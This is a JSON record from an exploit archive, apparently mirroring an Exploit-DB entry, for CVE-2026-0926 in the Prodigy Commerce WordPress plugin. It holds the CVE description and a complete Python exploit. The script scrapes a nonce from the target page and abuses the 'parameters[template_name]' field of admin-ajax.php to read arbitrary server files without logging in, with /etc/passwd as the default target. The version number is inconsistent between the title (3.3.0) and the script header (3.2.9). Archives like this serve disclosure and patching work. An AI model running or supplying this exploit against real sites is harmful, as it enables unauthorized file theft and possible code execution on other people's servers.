{"exploit":{"id":"EDB-52598","name":"Prodigy Commerce 3.3.0 - Local File Inclusion (LFI)","description":"Prodigy Commerce 3.3.0 - Local File Inclusion (LFI)","cves":["CVE-2026-0926"],"author":"Diamorphine","published":"2026-05-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52598","path":"exploits/multiple/webapps/52598.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52598.py","vulnerabilities":[{"id":"CVE-2026-0926","state":"PUBLISHED","title":"Prodigy Commerce <= 3.3.0 - Unauthenticated Local File Inclusion via parameters[template_name]","titleSource":"CVE Program","description":"The Prodigy Commerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.0 via the 'parameters[template_name]' parameter. This makes it possible for unauthenticated attackers to include and read arbitrary files or execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0926","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"Wordfence","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-0926"},"updatedAt":"2026-04-08T17:28:16.108Z","retrievedAt":"2026-11-25T16:15:43.338Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52598.png?v=2","url":"https://exploitbin.com/exploits/EDB-52598","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52598/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52598/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Prodigy Commerce  3.3.0 - Local File Inclusion\n# Date: 23-05-2026\n# Exploit Author: Diamorphine\n# Vendor Homepage: https://prodigycommerce.com/\n# Software Link: https://wordpress.org/plugins/prodigy-commerce/\n# Version: 3.2.9\n# Tested on: Debian\n# CVE : CVE-2026-0926\n# Description: Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.\n\n\nimport httpx\nimport asyncio\nimport re\nfrom urllib.parse import urljoin\nimport argparse\n\n\ndef get_nonce(base_url):\n    with httpx.Client(verify=False) as client:\n        r = client.get(url=base_url)\n        match = re.search(r'var settings\\s*=\\s*{[^}]*\"nonce\":\"([^\"]+)\"', r.text)\n        if match:\n            nonce = match.group(1)\n            return nonce\n        else:\n            print(\"Nonce not found\")\n\nasync def main(base_url,file):\n    async with httpx.AsyncClient(verify=False) as client:\n        nonce = get_nonce(base_url)\n        data = {\n            \"action\": \"prodigy-render-my-account-widget\",\n            \"nonce\": nonce,\n            \"parameters[template_name]\": file,\n            \"parameters[default_path]\": \"/\"\n        }\n\n        url = urljoin(base_url, '/wp-admin/admin-ajax.php')\n        r = await client.post(url=url, data=data)\n        raw = r.json()\n        out = raw['data']\n        print(out['html'])\n\nparser = argparse.ArgumentParser(description=\"Prodigy Commerce <= 3.3.0 - Local File Inclusion exploit\")\nparser.add_argument(\"-f\", \"--file\", default='/etc/passwd', help=\"File to read, default: /etc/passwd\")\nparser.add_argument(\"-u\", \"--url\", required=True, help=\"Target url, e.g. http://test.local\")\nargs = parser.parse_args()\n\nasyncio.run(main(args.url, args.file))","sha256":"936c98d33c9ea44c48dfad1fdb61064830c6100eb05f7b4948a1f40d22a49a92","bytes":1823,"fetchedAt":"2026-11-26T08:59:33.394Z","encoding":"utf-8 (display only; download retains original bytes)"}